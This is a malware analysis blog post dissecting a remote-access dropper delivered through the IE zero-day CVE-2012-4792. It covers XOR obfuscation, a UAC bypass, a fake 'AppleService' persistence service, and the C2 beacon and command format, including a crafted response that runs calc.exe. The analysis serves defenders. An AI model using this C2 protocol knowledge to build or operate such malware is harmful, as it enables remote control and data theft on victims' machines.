Dissecting a CVE-2012-4792 Payload

A little while ago I was fortunate enough to get ahold of asample that was dropped on a system after it was infected via the exploitoutlined in CVE-2012-4792. For those that may not have heard, this CVE hasgotten quite a bit of buzz as of late, mainly because it exploited a zero-dayvulnerability in Microsoft's Internet Explorer browser. Microsoft's originaladvisory can be found here. Rami Kogan, of SpiderLabs, alsorecently wrote a blog post that dealt with the exploit itself. You can find ithere.

Unfortunately (or fortunately depending how you're lookingat it), the malware campaign that provided this executable quickly was takenoffline. As such, I had to go into this sample somewhat blind. No matter, as Ialways enjoy a fun challenge. So let's dig in.

The first thing that really sticks out about this sample isthe fact that it has what appears to be two executable files embedded asresource files inside the malware. This is a common technique for droppers, butwe'll find out what's going on in this sample shortly. Once we drop into themalware's main function, we quickly see that this sample is performing Stringobfuscation. It's a long, convoluted function, but in reality, all that'sreally happening is a simple XOR against 0x59.

Screen shot 2013-01-03 at 4.36.57 PM

Now that we've got these strings decoded, we can see adomain and what appears to be a number of URL paths that this malware willlikely utilize later on.

Continuing down the main function, we see the malware createa new thread and attempt to acquire administrative privileges in the event itisn't running in that context already. We then see a call toStartServiceCtrlDispatcherA, which indicates that this malware is likelyexpecting to run as a service.

Before we jump into that newly created thread that was made,let's jump slightly ahead and see what is happening in the function that isdealing with administrative privileges. In the event that a call toIsUserAnAdmin() returns false, we see the malware acquire information aboutwhat operating system it is running in. The malware then checks to essentiallysee if it is running on Windows 7 or Windows 2008 R2, with UAC enabled. In theevent that this situation exists, we see the malware takes a look at thoseexecutable that we previously saw in the malware's resource section. Themalware looks to see if the system is running on a 32-bit operating system bychecking for the existence of the 'Program Files (x86)' folder.

In the event it's running on a 32-bit operating system, themalware dumps one of the embedded PE files into the system32 directory.Otherwise, it drops the other embedded PE file into the SysWOW64 folder. ThesePE files turn out to be DLLs that attempt to bypass UAC (User Access Control)via a technique that was added to Metasploit around two years ago. The code inMetasploit can be found here.

So what does the malware do if it actually is running withnecessary permissions? Well, it copies itself to the system32 (or SysWOW64 ifit's on a 64-bit host) folder, under the name 'AppleService.exe'. The malwarethen creates a new service with a display name of 'AppleService'. Thedescription is then changed to 'Apple Application Service.' and the executableis directed to that recently copied 'AppleService.exe' file. This helps resolveour earlier suspicion that this malware is expecting to be run as a service.

Screen shot 2013-01-03 at 7.53.52 PM

Ok, so we've covered some string obfuscation, and how themalware tries to run with the necessary privileges. Let's go back to that newlycreated thread that was created earlier. Looking into the assembly, we see anumber of things take place. The first thing the malware does is generate aunique string that will be used for all subsequent GET and POST requests. Thestring is generated by taking the victim's hostname, and using it in thefollowing simple encoding routine (represented in Ruby):

1.9.2p290 :001 >"TRUSTWAVE".each_byte{|x| print ((x % 26) + 97).chr}
gehfgjnir

The malware then begins entering an infinite loop. The firststep in this loop is a POST request that looks similar to the following (Thathost isn't real):

POST/something.asp?imageid=gehfgjnitpepzxc&type=0 HTTP/1.1
User-Agent: iexplorer
Host: thiswebsitehopefullydoesntexistandimadeitupyolo.com
Content-Length: 60
Cache-Control: no-cache
....e.....
...t.a.jho.[...i,......(...X...]...\...p...i...

Inspecting the POST data more clearly, we see the followingin hexdump format:

00000000 0000 00 00 65 00 00 00 0d 0b 0c 0a 0d 0e18 0f |....e...........|
00000010 741a 61 1a 6a 68 6f 00 5b 00 00 00 69 2c00 00 |t.a.jho.[...i,..|
00000020 0000 00 00 28 00 00 00 58 00 00 00 5d 0000 00 |....(...X...]...|
00000030 0000 00 00 4a 00 00 00 75 00 00 00 |....J...u...|
0000003c

The first thing we notice is that the attackers are XORingall data sent across the wire with that 0x59 key that we saw previously in thestring obfuscation. XORing this data (but ignoring 0x00) gives us with thefollowing:

00000000 0000 00 00 3c 00 00 00 54 52 55 53 54 5741 56 |....<...TRUSTWAV|
00000010 2d43 38 43 33 31 36 00 02 00 00 00 30 7500 00 |-C8C316.....0u..|
00000020 0000 00 00 71 00 00 00 01 00 00 00 04 0000 00 |....q...........|
00000030 0000 00 00 13 00 00 00 2c 00 00 00 |........,...|
0000003c

This lets us know that this POST request is at the veryleast sending out the victim's hostname. But if Leo taught us anything it'sthat we have to go deeper (This is a reference to the popular movie Inception).So let's dissect the entire data stream. In doing so it's discovered that thesemalware authors are doing something... peculiar. So when creating a string ofdata that will get sent over the wire, it's very common to see the authorssimply use something like a sprint() statement. So, for example, if they had ahostname and some other string, they could do something like this to create alarge string that contains both:

Screen shot 2013-01-04 at 8.51.52 AM

Instead, we see these authors allocate a chunk of memoryusing a call to _malloc(), and manually append data one DWORD at a time to thispiece of allocated memory. You can see this in the following assembly block:

Screen shot 2013-01-04 at 9.00.15 AM

Knowing this, we can take that POST data that we just saw,and start treating it as a series of DWORDS (or 4 bytes). So let's take thisthing apart:

[
"\x00\x00\x00\x00", #'Type' of data being sent (Set to zero)
"<\x00\x00\x00", # Total size of data being sent
# (Set to 60 decimal)
"TRUS", #Hostname
"TWAV", #Hostname Continued
"-C8C", #Hostname Continued
"316\x00", #Hostname Continued
"\x02\x00\x00\x00", #Operating System ('2' == Windows XP)
"0u\x00\x00", #Sleep time between loops
# (Set to 30 seconds.Default: 64952ms)
"\x00\x00\x00\x00", #Processor ('0' == x32, '1' == x64)
"q\x00\x00\x00", #Year ('113' + 1900 = 2013)
"\x01\x00\x00\x00", #Month (Set to '1', or January)
"\x04\x00\x00\x00", #Day (Set to '4')
"\x00\x00\x00\x00", #Hour (Set to '0')
"\x13\x00\x00\x00", #Minute (Set to '19')
",\x00\x00\x00" #Second (Set to '44')
]

This certainly helps demystify what is being sent. You maybe wondering what the first DWORD, or 'Type' meant. Well, as it turns out, thisis just one type of data this malware sends out. Zero represents what I'mconsidering to be a sort of PING to the attackers, as it is sent out every loopiteration regardless.

Ok, so it's sending out a PING request. Let's see what elsehappens. Immediately after the above POST request is made, another GET requestis made to a different URL (Same domain). The response the server sendsprovides commands to the malware. The same format that we saw in the PINGpreviously is used. So we have to XOR all of our data against 0x59, provide the'Type' in the first DWORD, size in the second DWORD, etc. The malware has thefollowing capabilities:

  • (Type '1') Execute command in cmd.exe and return results
  • (Type '2') Write data to a file and execute it
  • (Type '3') Upload file contents of file specified via POSTrequest
  • (Type '4') Execute raw command via call to WinExec()
  • (Type '5') Modify Sleep time between loop iterations
  • (Type '6') Remove malware

So, if we wanted to execute calc.exe using Type '4', wecould generate the following response:

00000000 04 00 00 0024 00 00 00 00 00 00 00 00 00 00 00 |....$...........|
00000010 00 00 00 0000 00 00 00 63 61 6c 63 2e 65 78 65 |........calc.exe|
00000020 00 00 0000 |....|
00000024

Then we XOR everything that isn't 0x00 against 0x59, whichresults in the following:

00000000 5d00 00 00 7d 00 00 00 00 00 00 00 00 0000 00 |Z...}...........|
00000010 0000 00 00 00 00 00 00 3a 38 35 3a 77 3c21 3c |........:85:w<!<|
00000020 0000 00 00 |....|
00000024

We then have our fake server provide this as a response tothe GET request, and we get the following on our victim:

Screen shot 2013-01-04 at 9.32.54 AM

So at this point we've got a pretty clear picture of what'sgoing on. Essentially these attackers are dropping a piece of malware that somemight argue has RAT (Remote Access Trojan) capabilities. Some might argue thismalware is a downloader as it has those capabilities as well (In fact a numberof anti-virus products identify this malware as such). You could also arguethat this has botnet capabilities due to its C&C channel. Whatever you wantto label it, I think we can all agree that at the end of the day it's simplymalicious code that nobody wants on their machine. Based on the domain utilized by the sample, as well as language information in the PE file, there are hints that the malware originated in China, however, it's hard to make any definite statements with the limited information on hand. The sample was originallyseen on VirusTotal on Christmas Eve, and I'm happy to say that as of writingthis post, a large number of anti-virus products already have detections inplace (~73%).

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.